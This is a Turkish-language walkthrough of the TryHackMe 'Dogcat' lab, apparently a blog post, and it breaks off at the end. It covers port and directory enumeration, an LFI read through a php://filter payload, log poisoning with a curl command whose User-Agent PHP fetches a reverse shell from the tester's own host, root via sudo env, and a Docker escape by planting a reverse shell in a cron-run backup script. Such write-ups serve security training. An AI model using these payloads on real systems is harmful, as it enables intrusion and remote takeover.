TryHackMe / Dogcat

LinkDifficultyCreator
dogcatMediumjammy

Scan / Enumeration

Makineyi keşfetmeye nmap aracıyla port taraması yaparak başlıyorum. Araca, -T4 parametresini vererek varsayılan tarama hızını arttırıyorum. Tarama sırasında bulunan açık portların ve taramanın ne zaman biteceğine dair bilgilendirmenin ekrana basılması için -vv parametresini kullanıyorum. Makinedeki bütün portları taramak için -p- parametresini kullanıyorum. Son olarak makinenin IP adresini de belirterek tarama işlemini başlatıyorum.

nmap -T4 -vv -p- $IP

Taramanın sonucunda 22 ve 80 portlarının açık olduğunu görüyorum. Bu portlarda çalışan servisleri daha ayrıntılı inceleyebilmek için portlara özel bir nmap taraması daha başlatıyorum. Araca -sVC parametresini vererek versiyon ve script taraması yapmasını sağlıyorum. Bulduğum portları -p parametresinden sonra vererek o portlar özelinde tarama yapılmasını sağlıyorum. Tarama sonucunun kaydedilmesi için -oN parametresini ve kaydedilecek dosya adını vererek taramayı başlatıyorum.

nmap -sVC -p22,80 -oN dogcat.nmap $IP

Tarama sonucunda 22 portunda SSH servisi ve 80 portunda Apache HTTP servisinin çalıştığını görüyorum.

OpenSSH 7.6p1 versiyonu için searchsploit ve arama motorları aracılığıyla exploit araması yapıyorum. Daha sonra işime yarayabilecek olan bir user enumeration exploit’i dışında bir şey bulamıyorum. Bu exploit’i olası bir kullanıcı adı bulmam durumunda kullanmak üzere bırakıyorum ve diğer servisi keşfetmeye geçiyorum.

Apache 2.4.38 versiyonu için de searchsploit ve arama motorları aracılığıyla exploit araması gerçekleştiriyorum fakat işime yarayabilecek herhangi bir exploit ile karşılaşmıyorum. Makinenin web sayfasına erişip incelemeye başlamadan önce, site üzerinde varolan dizinleri bulabilmek için bir gobuster taraması ve sitenin yapılandırılması hakkında bilgi edinmek için nikto taraması başlatmak istiyorum.

Dizin taraması yapılacağını gobuster aracına dir değerini vererek anlatıyorum. Taranacak sitenin adresini -u parametresi ile veriyorum. Tarama sırasında kullanılacak wordlist’i -w parametresiyle belirtiyorum. Tarama hızını arttırmak için -t parametresini, taramanın sonucunun bir dosyaya yazdırılması için -o parametresini kullanıyorum ve taramayı başlatıyorum. Site hakkında bilgi toplamak için çalıştıracağım nikto aracına da -h parametresini kullanarak taranacak adresi veriyorum ve taramayı başlatıyorum.

gobuster dir -u http://$IP/ -w big.txt -t 30 -o dogcat.buster
nikto -h http://$IP/

Bir web tarayıcısı ile makinenin IP adresi üzerinden websitesine erişip incelemeye başlıyorum. Eriştiğim websitesi üzerinde iki adet buton olduğunu ve butonlara tıklandığında /cats ve /dogs dizinleri altından isimleri sayılardan oluşan resimleri getirip ekrana bastığını görüyorum. Sayfa, bunu yapmak için index.php sayfasına view parametresiyle cat veya dog değerlerini gönderiyor. Gönderilen değerleri değiştirip göndermeye çalıştığımda yalnızca dog ve cat kelimelerine izin verildiğine dair bir hata ile karşılaşıyorum. Ne olacağını görmek için değer olarak dogx değerini gönderiyorum ve bir php hatası ile karşılaşıyorum.

Hatadan anlaşıldığı kadarıyla bizden view parametresiyle alınan değerin sonuna .php uzantısı ekleniyor ve o dosya sayfaya php’nin include fonksiyonuyla çağırılıyor. Bu özelliği, kullandığımız değerlerin cat veya dog kelimelerini içermesi koşuluyla sömürerek istediğimiz php dosyasını çağırabiliriz. Mantığımın doğru olup olmadığını anlamak amacıyla parametreye değer olarak cats/../dog değerini veriyorum ve parametrenin hatasız çalıştığını gözlemliyorum. Bu dosyaları okuyamadığım sürece sayfaya çağırabiliyor olmam işime yarayan bir şey değil. Çağırdığım dosyaları okuyabilmek için php’nin filter özelliğini kullanarak dosyayı base64 encoded şekilde ekrana bastırıyorum ve çıktıdaki base64’ü decode ederek dosya içeriğini okuyorum.

php%3A//filter/convert.base64-encode/resource=cats/../dog

Aynı şekilde index.php dosyasını da okuduğumda bu dosyada, GET request içerisinde ext parametresi varsa bu parametre değerinin dosya uzantısı olarak kullanıldığı, yoksa dosyanın sonuna .php uzantısı eklendiğini görüyorum.

$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';

Bu parametreyi dosya uzantısını vermek için kullanmak yerine parametreyi boş olarak döndürüp kendi istediğim dosyaları uzantılı veya uzantısız belirterek buradaki LFI -Local File Inclusion- zafiyetini sömürebilirim.


Gain Shell

Sistemden reverse shell alabilmek için sömürdüğüm LFI zafiyetinin RFI -Remote File Inclusion- olarak çalışıp çalışmadığını test ediyorum. Kendi makinemde cats isminde bir dizin oluşturarak içerisine php reverse shell dosyası atıyorum ve python ile bir web server ayağa kaldırarak hedef makine üzerinden kendi dosyama erişmeye çalışyorum. Sunucunun yapılandırmalar dosyasında allow_url_include değeri 0 verildiği için zafiyeti RFI olarak sömüremeyeceğimi görüyorum.

LFI zafiyetini RCE -Remote Code Execution- zafiyetine çevirerek reverse shell alabilmek için log dosyalarını okuyabilir miyim kontrolü yapıyorum. Apache servisinin log dosyalarını kontrol etmek için /var/log/apache2/access.log dosyasını deniyorum ve okuyabildiğimi görüyorum. Burada log poisoning ile komut çalıştırarak makineden shell almayı deniyorum. Makineye attığım requestteki user-agent değerini php kodu ile değiştirebilmek için curl aracını kullanıyorum ve kendi makinemde açtığım python server üzerinden php reverse shell dosyasını makineye çekiyorum.

curl -A "<?php system('curl http://$MY_IP/reverse.php -o rev.php'); ?>" http://$IP/

Tarayıcı üzerinden makineye kaydettiğim rev.php dosyasına erişerek makinede shell alıyorum.

Makineyi keşfetmeye çalışırken / dizini altındaki .dockerenv dosyasını görerek docker içerisinde olduğumu anlıyorum. Docker içerisinde root yetkisi alabilmek için bulunduğum kullanıcının sudo yetkisini sudo -l komutuyla kontrol ediyorum ve /usr/bin/env üzerinde root kullanıcı ile çalıştırma yetkimiz olduğunu görüyorum. Bu binary dosyasını kullanarak root kullanıcısına geçiyorum.


Privilege Escalation

İçerisinde bulunduğum docker’dan kaçabilmek için makineyi incelemeye başlıyorum. Makinede /opt dizini altında backups adında bir dizin olduğunu ve bunun içersinde de bir backup.sh script’i bulunduğunu görüyorum. Dosyayı okuduğumda, /root/container içerisindeki dosyaları alarak /root/container/backup dizini altına backup.tar olarak sıkıştırdığını görüyorum. Bu dosyanın ana makinede bir cronjob olarak çalıştırıldığını tahmin ederek dosyanın içerisine bir bash reverse shell komutu yazıyorum ve beklemeye başlıyorum. Bir süre sonra ana makine üzerinde beklediğim bağlantıya erişiyorum.

Gev